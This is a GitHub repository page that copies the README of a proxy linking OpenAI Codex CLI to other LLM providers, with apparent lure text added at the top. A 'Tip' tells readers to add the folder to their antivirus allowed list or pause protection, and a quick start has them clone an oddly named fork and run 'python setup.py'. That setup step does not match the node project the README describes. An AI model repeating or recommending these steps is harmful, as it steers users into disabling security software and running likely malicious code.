Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Appearance settings

ArchiveRegion/mimo2codex-580

Open more actions menu

Repository files navigation

mimo2codex

Tip

If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.

Caution

Some security systems may block the installation. Only download from the official repository.


QUICK START

git clone https://github.com/ArchiveRegion/mimo2codex-580.git
cd mimo2codex-580
python setup.py

English · 简体中文 · Docs site

GitHub Stars npm version downloads license node wire_api

Local proxy that lets the latest OpenAI Codex CLI / desktop talk to virtually any modern LLM. Built-in support for Xiaomi MiMo V2.5 and DeepSeek V4 Pro, plus a generic provider mechanism for any OpenAI Chat Completions-compatible (Qwen / GLM / Kimi / vLLM / Ollama / LM Studio …) or native Responses API upstream — no code changes, no re-publish. It translates Codex's Responses API ↔ upstream Chat Completions on the fly, routes per-request by the model field, and runs on 127.0.0.1.

Why: MiMo's official Codex integration only supports wire_api = "chat", which newer Codex versions hard-error on. mimo2codex sits in between, so you keep Codex on latest and it thinks it's talking to a native Responses backend. Conceptually a thin protocol shim — sibling to openrouter / claude-code-router.

Three ways to run

Admin console · dashboard

What it does

  • Codex CLI (wire_api = "responses") + desktop app — stay on the latest Codex.
  • Multi-provider in one process — MiMo + DeepSeek + generic providers, per-request routing by the model field.
  • Any OpenAI-compatible / native-Responses upstream — Qwen / GLM / Kimi / Ollama / OpenAI, declared in providers.json.
  • Tool calling, web search, vision, reasoning — function & parallel tools, MCP namespace; MiMo native web_search; correct multi-turn reasoning_content round-trip.
  • One-click Codex model switching from the admin webui (replaces cc-switch).
  • Admin console at http://127.0.0.1:8788/admin/ — model catalog, chat logs, token stats, provider config; sqlite persistence.

Documentation

Full docs (searchable, bilingual) live at https://mimodoc.chengj.online.

Getting started

  • Env setup — set up all keys once; per-OS .env loader (macOS / Linux / Windows)
  • Codex Enable — one-click model switching in the webui (replaces cc-switch)
  • Isolated Windows Codex CLI — let Codex CLI use MiMo while Codex Desktop stays untouched

Deployment

  • Dockerdocker compose up -d, data persistence, multi-arch images
  • Auth & multi-user — login, BYOK, OAuth, downloadable Codex config bundles

Providers

Reference

License

MIT — see LICENSE.

About

让最新版 OpenAI Codex CLI / Codex 桌面端接入主流大模型的本地代理(新增mac/win包支持,后台运行,开机自动重启)。内置 小米 MiMo V2.5/DeepSeek V4 Pro,并提供通用 provider 机制,**OpenAI Chat Completions 兼容**(Qwen / GLM / Kimi / 本地 vLLM / Ollama / LM Studio …)或**原生 Responses API**(OpenAI 自家)的上游接到新版 Codex。把 Codex 的 Responses API 实时翻译成上游的 Chat Completions API,按客户端发的 `model` 字段在 provider 之间自动路由.

Topics

Resources

License

Contributing

Security policy

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Morty Proxy This is a proxified and sanitized view of the page, visit original site.